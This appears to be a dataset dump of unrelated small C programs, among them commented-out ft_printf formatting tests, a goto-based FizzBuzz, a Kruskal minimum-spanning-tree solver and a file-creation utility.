// letras = ft_printf("TESTE 20:%.20 01%:");
// printf("\nTESTE R2:%c:", a);
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 11\n\n", letras);
// letras = ft_printf("TESTE 21:%.20 02%:");
// printf("\nTESTE R2:0%c:", a);
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 12\n\n", letras);
// letras = ft_printf("TESTE 22:%.20 03%:");
// printf("\nTESTE R2:00%c:", a);
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 13\n\n", letras);
// letras = ft_printf("TESTE 23:%.20 04%:");
// printf("\nTESTE R2:000%c:", a);
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 14\n\n", letras);
// letras = ft_printf("TESTE 23:%.20-01%:");
// printf("\nTESTE R2:%c:", a);
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 11\n\n", letras);
// letras = ft_printf("TESTE 24:%.20-02%:");
// printf("\nTESTE R2:%c :", a);
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 12\n\n", letras);
// letras = ft_printf("TESTE 25:%.20-03%:");
// printf("\nTESTE R2:%c :", a);
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 13\n\n", letras);
// letras = ft_printf("TESTE 26:%.20-04%:");
// printf("\nTESTE R2:%c :", a);
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 14\n\n", letras);
// letras = ft_printf("TESTE 27:%04.20%: :%5i:", 3);
// printf("\nTESTE R2:000%c: : 3:", a);
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 22\n\n", letras);
// letras = ft_printf("TESTE 28:%7.4d: :%-04.20%: :%5i:", 3, 3);
// printf("\nTESTE R2: 0003: :%c : : 3:", a);
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 32\n\n", letras);
// letras = ft_printf("TESTE 29:%-7.4d: :%04.20%: :%5i:", -3, 3);
// printf("\nTESTE R2:-0003 : :000%c: : 3:", a);
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 32\n\n", letras);
// letras = ft_printf("TESTE 30:%7.4d: :%-04.20%: :%5i:", -3, 3);
// printf("\nTESTE R3: -0003: :%c : : 3:", a);
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 32\n\n", letras);
// ft_printf(">>>>>>>>>>>>>>>>>>>>>>>>>>>>TESTE PRINT CHAR<<<<<<<<<<<<<<<<<<<<<<<<\n\n");
// char ttt = 'A';
// int pletras;
// letras = ft_printf("TESTE 01:%c:", ttt);
// pletras = printf("TESTE 01:%c:", ttt);
// printf("\nTESTE R0:A:");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 11\n\n", letras);
// letras = ft_printf("TESTE 02:%2c:", ttt);
// printf("\nTESTE R0: A:");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 12\n\n", letras);
// pletras = printf("TESTE 03:%3c:", ttt);
// pletras = printf("TESTE 03:%3c:", ttt);
// printf("\nTESTE R0: A:");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 13\n\n", letras);
// letras = ft_printf("TESTE 04:%4c:", ttt);
// letras = ft_printf("TESTE 04:%4c:", ttt);
// printf("\nTESTE R0: A:");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 14\n\n", letras);
// letras = ft_printf("TESTE 05:%-.20c:", ttt);
// letras = ft_printf("TESTE 05:%-.20c:", ttt);
// printf("\nTESTE R0:A:");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 11\n\n", letras);
// letras = ft_printf("TESTE 06:%-2.30c:", ttt);
// letras = ft_printf("TESTE 06:%-2.30c:", ttt);
// printf("\nTESTE R0:A :");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 12\n\n", letras);
// letras = ft_printf("TESTE 07:%-3.30c:", ttt);
// letras = ft_printf("TESTE 07:%-3.30c:", ttt);
// printf("\nTESTE R0:A :");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 13\n\n", letras);
// letras = ft_printf("TESTE 08:%-4.80c:", ttt);
// letras = ft_printf("TESTE 08:%-4.80c:", ttt);
// printf("\nTESTE R0:A :");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 14\n\n", letras);
// letras = ft_printf("TESTE 09:%c:", 0);
// letras = ft_printf("TESTE 09:%c:", 0);
// printf("\nTESTE R0::");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 11\n\n", letras);
// letras = ft_printf("TESTE 10:%2c:", 0);
// letras = ft_printf("TESTE 10:%2c:", 0);
// printf("\nTESTE R1: :");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 12\n\n", letras);
// letras = ft_printf("TESTE 11:%3c:", 0);
// letras = ft_printf("TESTE 11:%3c:", 0);
// printf("\nTESTE R1: :");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 13\n\n", letras);
// letras = ft_printf("TESTE 12:%4c:", 0);
// letras = ft_printf("TESTE 12:%4c:", 0);
// printf("\nTESTE R1: :");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 14\n\n", letras);
// letras = ft_printf("TESTE 13:%c: :%5i:", ttt, -25);
// letras = ft_printf("TESTE 13:%c: :%5i:", ttt, -25);
// printf("\nTESTE R1:A: : -25:");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 19\n\n", letras);
// letras = ft_printf("TESTE 14:%.5d: :%2c:", -25, ttt);
// letras = ft_printf("TESTE 14:%.5d: :%2c:", -25, ttt);
// printf("\nTESTE R1:-00025: : A:");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 21\n\n", letras);
// letras = ft_printf("TESTE 15:%*.5d: :%3c:", 8, -25, ttt);
// letras = ft_printf("TESTE 15:%*.5d: :%3c:", 8, -25, ttt);
// printf("\nTESTE R1: -00025: : A:");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 24\n\n", letras);
// letras = ft_printf("TESTE 16:%4c: :%*.*d:", ttt, 10, 7, -25);
// letras = ft_printf("TESTE 16:%4c: :%*.*d:", ttt, 10, 7, -25);
// printf("\nTESTE R1: A: : -0000025:");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 27\n\n", letras);
// letras = ft_printf("TESTE 17:%c: :%5i: :%%:", ttt, -25);
// letras = ft_printf("TESTE 17:%c: :%5i: :%%:", ttt, -25);
// printf("\nTESTE R1:A: : -25: :%%:");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 23\n\n", letras);
// letras = ft_printf("TESTE 18:%5%: :%.5d: :%2c:", -25, ttt);
// letras = ft_printf("TESTE 18:%5%: :%.5d: :%2c:", -25, ttt);
// printf("\nTESTE R1: %%: :-00025: : A:");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 29\n\n", letras);
// letras = ft_printf("TESTE 19:%*.5d: :%3c: :%08%:", 8, -25, ttt);
// letras = ft_printf("TESTE 19:%*.5d: :%3c: :%08%:", 8, -25, ttt);
// printf("\nTESTE R1: -00025: : A: :0000000%%:");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 35\n\n", letras);
// letras = ft_printf("TESTE 20:%4c: :%-*%: :%*.*d:", ttt, 8, 10, 7, -25);
// letras = ft_printf("TESTE 20:%4c: :%-*%: :%*.*d:", ttt, 8, 10, 7, -25);
// printf("\nTESTE R2: A: :%% : : -0000025:");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 38\n\n", letras);
// ft_printf(">>>>>>>>>>>>>>>>>>>>>>>>>>>>TESTE PRINT STRING<<<<<<<<<<<<<<<<<<<<<<<<\n\n");
// char strin[] = "123456789";
// int pletras;
// letras = ft_printf("TESTE 01:%s:", strin);
// printf("\nTESTE R0:123456789:");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 19\n\n", letras);
// letras = ft_printf("TESTE 02:%9s:", strin);
// printf("\nTESTE 02:%9s:\n", strin);
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 21\n\n", letras);
// letras = ft_printf("TESTE 03:%-15s:\n", strin);
// printf("\nTESTE R0:123456789 :");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 25\n\n", letras);
// letras = ft_printf("TESTE 04:%5s:\n", strin);
// pletras = printf("TESTE 04:%5s:\n", strin);
// // printf("\nTESTE R0:123456789:");
// printf("Quantidade de letras retorna: %d\nQuantidade de letras correta: %d\n\n", letras, pletras);
// letras = ft_printf("TESTE 05:%.s:\n", strin);
// pletras = printf("TESTE 05:%.s:\n", strin);
// printf("TESTE R0::");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: %d\n\n", letras, pletras);
// char string[] = "TESTE 06:%010.6s:\n";
// letras = ft_printf(string, strin);
// pletras = printf(string, strin);
// printf("TESTE R0:0000123456:");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: %d\n\n", letras, pletras);
// letras = ft_printf("TESTE 07:%-5.3s:\n", strin);
// pletras = printf("TESTE 07:%-5.3s:\n", strin);
// printf("TESTE R0:123 :");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: %d\n\n", letras, pletras);
// letras = ft_printf("TESTE 08:%7.0s:\n", strin);
// pletras = printf("TESTE 08:%7.0s:\n", strin);
// printf("TESTE R0: :");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: %d\n\n", letras, pletras);
// char string2[] = "TESTE 09:%////./////s:\n";
// letras = ft_printf(string2, strin);
// pletras = printf(string2, strin);
// printf("TESTE R0::");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: %d\n\n", letras, pletras);
// letras = ft_printf("TESTE 10:%6.*s:\n", 4, strin);
// pletras = printf("TESTE 10:%6.*s:\n", 4, strin);
// printf("TESTE R1: 1234:");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: %d\n\n", letras, pletras);
// letras = ft_printf("TESTE 11:%.*s:\n", 0, strin);
// pletras = printf("TESTE 11:%.*s:\n", 0, strin);
// printf("TESTE R1::");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: %d\n\n", letras, pletras);
// letras = ft_printf("TESTE 12:%-*.2s:\n", 5, strin);
// pletras = printf("TESTE 12:%-*.2s:\n", 5, strin);
// printf("TESTE R1:12 :");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: %d\n\n", letras, pletras);
// letras = ft_printf("TESTE 13:%*.*s:\n", 1, 0, strin);
// pletras = printf("TESTE 13:%*.*s:\n", 1, 0, strin);
// printf("TESTE R1: :");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: %d\n\n", letras, pletras);
// letras = ft_printf("TESTE 14:%6.*s:\n", -4, strin);
// pletras = printf("TESTE 14:%6.*s:\n", -4, strin);
// printf("TESTE R1:123456789:");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: %d\n\n", letras, pletras);
// letras = ft_printf("TESTE 15:%*.8s:\n", -9, strin);
// pletras = printf("TESTE 15:%*.8s:\n", -9, strin);
// printf("TESTE R1:12345678 :");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: %d\n\n", letras, pletras);
// letras = ft_printf("TESTE 16:%*.*s:\n", 2, -20, strin);
// pletras = printf("TESTE 16:%*.*s:\n", 2, -20, strin);
// printf("TESTE R1:123456789:");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: %d\n\n", letras, pletras);
// char string3[] = "TESTE 17:%*....-....*s:\n";
// letras = ft_printf(string3, 8, 4, strin);
// pletras = printf(string3, 8, 4, strin);
// printf("TESTE R1:1234 :");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: %d\n\n", letras, pletras);
// letras = ft_printf("TESTE 18:%0*s:\n", 15, strin);
// pletras = printf("TESTE 18:%0*s:\n", 15, strin);
// printf("TESTE R1:000000123456789:");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: %d\n\n", letras, pletras);
// letras = ft_printf("TESTE 19:%000000000000020s:\n", strin);
// pletras = printf("TESTE 19:%000000000000020s:\n", strin);
// printf("TESTE R1:00000000000123456789:");
// printf("\nQuantidade de letras retorna: %d\nQuantidade de letras correta: %d\n\n", letras, pletras);
// ft_printf(">>>>>>>>>>>>>>>>>>>>>>>>>>>>TESTE PRINT UNSIGNED INTEGER<<<<<<<<<<<<<<<<<<<<<<<<\n\n");
// char string1u[] = "TESTE 1:%u:";
// letras = ft_printf(string1u, 123);
// printf("\nTESTE R:123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 12\n\n", letras);
// char string2u[] = "TESTE 2:%3u:";
// letras = ft_printf(string2u, 123);
// printf("\nTESTE R:123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 12\n\n", letras);
// char string3u[] = "TESTE 3:%4u:";
// letras = ft_printf(string3u, 123);
// printf("\nTESTE R: 123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 13\n\n", letras);
// char string4u[] = "TESTE 4:%10u:";
// letras = ft_printf(string4u, -1);
// printf("\nTESTE R:4294967295:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 19\n\n", letras);
// char string5u[] = "TESTE 5:%11u:";
// letras = ft_printf(string5u, -2);
// printf("\nTESTE R: 4294967294:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 20\n\n", letras);
// char string6u[] = "TESTE 6:%12u:";
// letras = ft_printf(string6u, -3);
// printf("\nTESTE R: 4294967293:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 21\n\n", letras);
// char string7u[] = "TESTE 7:%-3u:";
// letras = ft_printf(string7u, 123);
// printf("\nTESTE R:123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 12\n\n", letras);
// char string8u[] = "TESTE 8:%-4u:";
// letras = ft_printf(string8u, 123);
// printf("\nTESTE R:123 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 13\n\n", letras);
// char string9u[] = "TESTE 9:%-10u:";
// letras = ft_printf(string9u, -10);
// printf("\nTESTE R:4294967286:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 19\n\n", letras);
// char string10u[] = "TESTE 10:%-11u:";
// letras = ft_printf(string10u, -1000);
// printf("\nTESTE 1R:4294966296 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 21\n\n", letras);
// char string11u[] = "TESTE 11:%-12u:";
// letras = ft_printf(string11u, -15);
// printf("\nTESTE 1R:4294967281 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 22\n\n", letras);
// char string12u[] = "TESTE 12:%03u:";
// letras = ft_printf(string12u, 4294967296);
// printf("\nTESTE 1R:000:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 13\n\n", letras);
// char string13u[] = "TESTE 13:%04u:";
// letras = ft_printf(string13u, 4294967297);
// printf("\nTESTE 1R:0001:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 14\n\n", letras);
// char string14u[] = "TESTE 14:%011u:";
// letras = ft_printf(string14u, -1);
// printf("\nTESTE 1R:04294967295:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 21\n\n", letras);
// char string15u[] = "TESTE 15:%012u:";
// letras = ft_printf(string15u, -2);
// printf("\nTESTE 1R:004294967294:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 22\n\n", letras);
// char string16u[] = "TESTE 16:%013u:";
// letras = ft_printf(string16u, -3);
// printf("\nTESTE 1R:0004294967293:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 23\n\n", letras);
// char string17u[] = "TESTE 17:%-03u:";
// letras = ft_printf(string17u, 123);
// printf("\nTESTE 1R:123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 13\n\n", letras);
// char string18u[] = "TESTE 18:%-04u:";
// letras = ft_printf(string18u, 123);
// printf("\nTESTE 1R:123 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 14\n\n", letras);
// char string19u[] = "TESTE 19:%-011u:";
// letras = ft_printf(string19u, -1);
// printf("\nTESTE 1R:4294967295 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 21\n\n", letras);
// char string20u[] = "TESTE 20:%-012u:";
// letras = ft_printf(string20u, -20);
// printf("\nTESTE 2R:4294967276 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 22\n\n", letras);
// char string21u[] = "TESTE 21:%-013u:";
// letras = ft_printf(string21u, -5);
// printf("\nTESTE 2R:4294967291 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 23\n\n", letras);
// char string22u[] = "TESTE 22:%3.u:";
// letras =ft_printf(string22u, 777);
// printf("\nTESTE 2R:777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 13\n\n", letras);
// char string23u[] = "TESTE 23:%4.0u:";
// letras = ft_printf(string23u, 777);
// printf("\nTESTE 2R: 777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 14\n\n", letras);
// char string24u[] = "TESTE 24:%12.11u:";
// letras = ft_printf(string24u, -1);
// printf("\nTESTE 2R: 04294967295:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 22\n\n", letras);
// char string25u[] = "TESTE 25:%12.12u:";
// letras = ft_printf(string25u, -1);
// printf("\nTESTE 2R:004294967295:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 22\n\n", letras);
// char string26u[] = "TESTE 26:%14.4u:";
// letras = ft_printf(string26u, -777);
// printf("\nTESTE 2R: 4294967295:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 24\n\n", letras);
// char string27u[] = "TESTE 27:%-3.5u:";
// letras =ft_printf(string27u, 777);
// printf("\nTESTE 2R:00777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 15\n\n", letras);
// char string28u[] = "TESTE 28:%-5.4u:";
// letras =ft_printf(string28u, 777);
// printf("\nTESTE 2R:0777 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 15\n\n", letras);
// char string29u[] = "TESTE 29:%-4.-11u:";
// letras = ft_printf(string29u, -1);
// printf("\nTESTE 2R:4294967295 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 21\n\n", letras);
// char string30u[] = "TESTE 30:%-11.12-15u:";
// letras = ft_printf(string30u, -1);
// printf("\nTESTE 3R:004294967295 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 25\n\n", letras);
// char string31u[] = "TESTE 31:%-20....----.18-10u:";
// letras = ft_printf(string31u, -1);
// printf("\nTESTE 3R:000000004294967295:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 28\n\n", letras);
// char string32u[] = "TESTE 32:%03.3u:";
// letras = ft_printf(string32u, 777);
// printf("\nTESTE 3R:777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 13\n\n", letras);
// char string33u[] = "TESTE 33:%06.5u:";
// letras = ft_printf(string33u, 777);
// printf("\nTESTE 3R: 00777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 16\n\n", letras);
// char string38u[] = "TESTE 38:%.5u:";
// letras = ft_printf(string38u, 777);
// printf("\nTESTE 3R:00777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 15\n\n", letras);
// char string42u[] = "TESTE 42:%*u:";
// letras = ft_printf(string42u, 3, 123);
// printf("\nTESTE 4R:123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 13\n\n", letras);
// char string43u[] = "TESTE 43:%*u:";
// letras = ft_printf(string43u, 4, 123);
// printf("\nTESTE 4R: 123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 14\n\n", letras);
// char string44u[] = "TESTE 44:%*u:";
// letras = ft_printf(string44u, 10, -1);
// printf("\nTESTE 4R:4294967295:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 20\n\n", letras);
// char string45u[] = "TESTE 45:%*u:";
// letras = ft_printf(string45u, 11, -1);
// printf("\nTESTE 4R: 4294967295:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 21\n\n", letras);
// char string46u[] = "TESTE 46:%*u:";
// letras = ft_printf(string46u, 12, -1);
// printf("\nTESTE 4R: 4294967295:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 22\n\n", letras);
// char string47u[] = "TESTE 47:%-*u:";
// letras = ft_printf(string47u, 13, -1);
// printf("\nTESTE 4R:4294967295 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 23\n\n", letras);
// char string48u[] = "TESTE 48:%-*u:";
// letras = ft_printf(string48u, 4, 123);
// printf("\nTESTE 4R:123 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 14\n\n", letras);
// char string52u[] = "TESTE 52:%0*u:";
// letras = ft_printf(string52u, 3, 4294967297);
// printf("\nTESTE 5R:001:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 13\n\n", letras);
// char string54u[] = "TESTE 54:%0*u:";
// letras = ft_printf(string54u, 13, -1);
// printf("\nTESTE 5R:0004294967295:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 23\n\n", letras);
// char string57u[] = "TESTE 57:%-0*u:";
// letras = ft_printf(string57u, 3, 123);
// printf("\nTESTE 5R:123:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 13\n\n", letras);
// char string58u[] = "TESTE 58:%-0*u:";
// letras = ft_printf(string58u, 4, 123);
// printf("\nTESTE 5R:123 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 14\n\n", letras);
// char string59u[] = "TESTE 59:%-0*u:";
// letras = ft_printf(string59u, 12, -1);
// printf("\nTESTE 5R:4294967295 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 22\n\n", letras);
// char string63u[] = "TESTE 63:%*.0u:";
// letras = ft_printf(string63u, 4, 777);
// printf("\nTESTE 6R: 777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 14\n\n", letras);
// char string64u[] = "TESTE 64:%*.*u:";
// letras = ft_printf(string64u, 22, 17, -1);
// printf("\nTESTE 6R: 00000004294967295:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 32\n\n", letras);
// char string72u[] = "TESTE 72:%0*.*d:";
// letras = ft_printf(string72u, 3, 3, 777);
// printf("\nTESTE 7R:777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 13\n\n", letras);
// char string73u[] = "TESTE 73:%0*.*d:";
// letras = ft_printf(string73u, 6, 5, 777);
// printf("\nTESTE 7R: 00777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 16\n\n", letras);
// char string77u[] = "TESTE 77:%.*/////////.//-//// /////0*d:";
// letras = ft_printf(string77u, 7, 5, 777);
// printf("\nTESTE 7R:777 :\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 15\n\n", letras);
// char string78u[] = "TESTE 78:%.*d:";
// letras = ft_printf(string78u, 5, 777);
// printf("\nTESTE 7R:00777:\nQuantidade de letras retorna: %d\nQuantidade de letras correta: 15\n\n", letras);
// ft_printf(">>>>>>>>>>>>>>>>>>>>>>>>>>>>TESTE PRINT STRING NULL<<<<<<<<<<<<<<<<<<<<<<<<\n\n");
// char *strin;
// *strin = 0;
// int pletras;
// letras = ft_printf("TESTE 01|%-2s|\n", strin);
// pletras = printf("TESTE 01|%-2s|\n", strin);
// printf("Quantidade de letras retorna: %d\nQuantidade de letras correta: %d\n\n", letras, pletras);
// letras = ft_printf("TESTE 02|%.s|\n", strin);
// pletras = printf("TESTE 02|%.s|\n", strin);
// printf("Quantidade de letras retorna: %d\nQuantidade de letras correta: %d\n\n", letras, pletras);
// letras = ft_printf("TESTE 03|%-4s|\n", strin);
// pletras = printf("TESTE 03|%-4s|\n", strin);
// printf("Quantidade de letras retorna: %d\nQuantidade de letras correta: %d\n\n", letras, pletras);
// letras = ft_printf("TESTE 04|%-2.4s|\n", strin);
// pletras = printf("TESTE 04|%-2.4s|\n", strin);
// printf("Quantidade de letras retorna: %d\nQuantidade de letras correta: %d\n\n", letras, pletras);
// letras = ft_printf("TESTE 05|%-8.12s|\n", strin);
// pletras = printf("TESTE 05|%-8.12s|\n", strin);
// printf("Quantidade de letras retorna: %d\nQuantidade de letras correta: %d\n\n", letras, pletras);
// letras = ft_printf("TESTE 06|%3s|\n", strin);
// pletras = printf("TESTE 06|%3s|\n", strin);
// printf("Quantidade de letras retorna: %d\nQuantidade de letras correta: %d\n\n", letras, pletras);
// letras = ft_printf("TESTE 07|%8s|\n", strin);
// pletras = printf("TESTE 07|%8s|\n", strin);
// printf("Quantidade de letras retorna: %d\nQuantidade de letras correta: %d\n\n", letras, pletras);
// letras = ft_printf("TESTE 08|%-2s|\n", strin);
// pletras = printf("TESTE 08|%-2s|\n", strin);
// printf("Quantidade de letras retorna: %d\nQuantidade de letras correta: %d\n\n", letras, pletras);
// letras = ft_printf("TESTE 09|%.*s|\n", -2, strin);
// pletras = printf("TESTE 09|%.*s|\n", -2, strin);
// printf("Quantidade de letras retorna: %d\nQuantidade de letras correta: %d\n\n", letras, pletras);
// letras = ft_printf("TESTE 10|%.0s|\n", strin);
// pletras = printf("TESTE 10|%.0s|\n", strin);
// printf("Quantidade de letras retorna: %d\nQuantidade de letras correta: %d\n\n", letras, pletras);
// letras = ft_printf("TESTE 11|%.1s|\n", strin);
// pletras = printf("TESTE 11|%.1s|\n", strin);
// printf("Quantidade de letras retorna: %d\nQuantidade de letras correta: %d\n\n", letras, pletras);
// letras = ft_printf("TESTE 12|%.2s|\n", strin);
// pletras = printf("TESTE 12|%.2s|\n", strin);
// printf("Quantidade de letras retorna: %d\nQuantidade de letras correta: %d\n\n", letras, pletras);
// letras = ft_printf("TESTE 13|%.4s|\n", strin);
// pletras = printf("TESTE 13|%.4s|\n", strin);
// printf("Quantidade de letras retorna: %d\nQuantidade de letras correta: %d\n\n", letras, pletras);
// letras = ft_printf("TESTE 14|%.8s|\n", strin);
// pletras = printf("TESTE 14|%.8s|\n", strin);
// printf("Quantidade de letras retorna: %d\nQuantidade de letras correta: %d\n\n", letras, pletras);
}
|
C
|
#include<stdio>
int main()
{
int a=9;
int b=23;
int c;
c=a+b;
printf("%d",c);
return 0;
}
|
C
|
#include<stdio.h>
#include<stdlib.h>
int main()
{
void *ptr = malloc(100);
void *ptr2 = ptr;
printf("%p\n", ptr);
printf("%p\n", (int*)ptr + 1);
printf("%p\n", (int*)ptr - 1);
printf("%p\n", (int *)++ptr2);
printf("%p\n", (int *)--ptr2);
printf("%p\n", (int*)ptr2++);
printf("%p\n", (int*)ptr2--);
free(ptr);
return 0;
}
|
C
|
#include<stdio.h>
int main()
{
int i,a=5;
for(i=1 ; i<=5 ; i++)
{
scanf("%d",&a);
printf("%d\n\n",a);
}
return 0;
}
|
C
|
#include <stdio.h>
int main(void) {
int i = 1;
goto s11;
s00: puts("FizzBuzz"); i++; goto s11;
s01: puts("Fizz"); i++; goto s12;
s02: puts("Fizz"); i++; goto s13;
s03: puts("Fizz"); i++; goto s14;
s04: puts("Fizz"); i++; goto s10;
s10: puts("Buzz"); i++; if (i > 100) goto s99; goto s21;
s11: printf("%d\n", i++); goto s22;
s12: printf("%d\n", i++); goto s23;
s13: printf("%d\n", i++); goto s24;
s14: printf("%d\n", i++); goto s20;
s20: puts("Buzz"); i++; goto s01;
s21: printf("%d\n", i++); goto s02;
s22: printf("%d\n", i++); goto s03;
s23: printf("%d\n", i++); goto s04;
s24: printf("%d\n", i++); goto s00;
s99:;
}
|
C
|
#define QSIZE 20 //realistically, this thing should never have more than 1 item at a time.
typedef struct swevent {
unsigned int pr : 1 ; //press-release bit: 1 -- switch was pressed; 0 -- switch was released
unsigned int sw : 7 ; //switch number for this event (with room for expansion)
unsigned int msec : 24; //time in milliseconds the event occurred (rolls over at 2**24 ms).
} swevent_t;
swevent_t fifo[QSIZE];
unsigned int head, tail;
int queue(swevent_t in);
swevent_t dequeue(void);
|
C
|
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
struct node {
int src;
int dest;
int weight;
};
int get_index(char *city, char *ar[], int *index)
{
int i;
for(i = 0; i < (*index); i++) {
if(strcmp(ar[i], city) == 0) {
return i;
}
}
ar[*index] = city;
return (*index)++;
}
int comp(const void *p, const void *q) {
return ((struct node *)p)->weight - ((struct node *)q)->weight;
}
int root(int a, int id[]) {
while(id[a] != a) {
id[a] = id[id[a]];
a = id[a];
}
return a;
}
void union1(int a, int b, int id[]) {
int p = root(a, id);
int q = root(b, id);
id[p] = id[q];
}
void intialize(int id[], int size) {
int i;
for(i = 0; i < size; i++) {
id[i] = i;
}
}
int krushkal(struct node p[], int k)
{
int id[1000];
intialize(id,1000);
int i;
int min_cost = 0;
for(i = 0; i < k; i++) {
int x = p[i].src;
int y = p[i].dest;
int cost = p[i].weight;
if(root(x, id) != root(y, id)) {
min_cost += cost;
union1(x, y, id);
}
}
return min_cost;
}
int main()
{
int n;
scanf("%d", &n);
struct node p[1000];
char *src;
char *dest;
int index = 0;
char *ar[1000];
int k;
for (k = 0; k < n; k++) {
src = (char *)malloc(100 * sizeof(char));
dest = (char *)malloc(100 * sizeof(char));
scanf("%s", src);
scanf("%s", dest);
p[k].src = get_index(src, ar, &index);
p[k].dest = get_index(dest, ar, &index);
scanf("%d", &p[k].weight);
}
qsort(p, n, sizeof(struct node), comp);
printf("mincost : %d\n", krushkal(p, k));
return 0;
}
|
C
|
/* $title: 'FCREATE.C ===== Create empty file or wipe existing =====' */
/* $subtitle: 'Elipse Ltd. (jms) Revised: 1995 Sep 04' */
#include <stdio.h>
/* MAIN ===== Program start up ===== $pageif:6 */
int main( int argc, char *argv[] )
{ /* main */
if ( argc > 1 )
{
FILE *fp = fopen( argv[1], "w" );
if (fp == NULL)
{
printf( "\nUnable to create file %s\n", argv[1] );
return 2; /* open failed */
}
fclose( fp );
return 0; /* success */
}
